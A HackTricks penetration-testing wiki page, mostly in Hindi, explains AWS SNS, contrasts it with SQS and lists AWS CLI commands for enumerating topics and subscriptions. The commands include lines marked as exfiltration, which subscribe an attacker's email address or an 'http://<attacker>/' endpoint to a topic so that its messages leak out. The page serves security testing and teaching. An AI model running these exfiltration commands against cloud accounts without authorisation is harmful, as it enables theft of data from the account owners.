AWS - SNS Enum

Support HackTricks

SNS

Amazon Simple Notification Service (Amazon SNS) को पूर्ण रूप से प्रबंधित संदेश सेवा के रूप में वर्णित किया गया है। यह एप्लिकेशन-से-एप्लिकेशन (A2A) और एप्लिकेशन-से-व्यक्ति (A2P) संचार प्रकारों का समर्थन करता है।

A2A संचार के लिए प्रमुख विशेषताओं में प्रकाशित/सदस्यता (pub/sub) तंत्र शामिल हैं। ये तंत्र विषयों को पेश करते हैं, जो उच्च-थ्रूपुट, पुश-आधारित, कई-से-कई संदेश भेजने के लिए महत्वपूर्ण हैं। यह विशेषता वितरित प्रणालियों, माइक्रोसर्विसेज़, और इवेंट-ड्रिवन सर्वरलेस आर्किटेक्चर में शामिल परिदृश्यों में अत्यधिक फायदेमंद है। इन विषयों का लाभ उठाकर, प्रकाशक प्रणालियाँ व्यापक रूप से विभिन्न सदस्यता प्रणालियों को संदेश वितरित कर सकती हैं, जिससे एक फैनोउट संदेश पैटर्न को सुविधाजनक बनाया जा सकता है।

Difference with SQS

SQS एक क्यू-आधारित सेवा है जो बिंदु-से-बिंदु संचार की अनुमति देती है, यह सुनिश्चित करते हुए कि संदेशों को एकल उपभोक्ता द्वारा संसाधित किया जाता है। यह कम से कम एक बार डिलीवरी प्रदान करता है, मानक और FIFO क्यू का समर्थन करता है, और पुनः प्रयास और विलंबित प्रसंस्करण के लिए संदेश संरक्षण की अनुमति देता है। दूसरी ओर, SNS एक प्रकाशित/सदस्यता-आधारित सेवा है, जो एक-से-बहुत संचार को सक्षम बनाती है, जिससे संदेशों को एक साथ कई सदस्यों को प्रसारित किया जा सकता है। यह ईमेल, SMS, Lambda कार्यों, और HTTP/HTTPS जैसे विभिन्न सदस्यता अंत बिंदुओं का समर्थन करता है, और लक्षित संदेश वितरण के लिए फ़िल्टरिंग तंत्र प्रदान करता है। हालांकि दोनों सेवाएँ वितरित प्रणालियों में घटकों के बीच डिकपलिंग को सक्षम बनाती हैं, SQS क्यूड संचार पर ध्यान केंद्रित करता है, और SNS इवेंट-ड्रिवन, फैनोउट संचार पैटर्न पर जोर देता है।

Enumeration

# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>

# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt

# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com

# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

ध्यान दें कि यदि विषय FIFO प्रकार का है, तो केवल SQS प्रोटोकॉल का उपयोग करने वाले सब्सक्राइबरों का उपयोग किया जा सकता है (HTTP या HTTPS का उपयोग नहीं किया जा सकता)।

इसके अलावा, भले ही --topic-arn में क्षेत्र शामिल हो, सुनिश्चित करें कि आप --region में सही क्षेत्र निर्दिष्ट करें, अन्यथा आपको एक त्रुटि मिलेगी जो यह संकेत करती है कि आपके पास पहुंच नहीं है, लेकिन समस्या क्षेत्र है।

अनधिकृत पहुंच

AWS - SNS Unauthenticated Enum

विशेषाधिकार वृद्धि

AWS - SNS Privesc

पोस्ट शोषण

AWS - SNS Post Exploitation

स्थिरता

AWS - SNS Persistence

संदर्भ

HackTricks का समर्थन करें

Last updated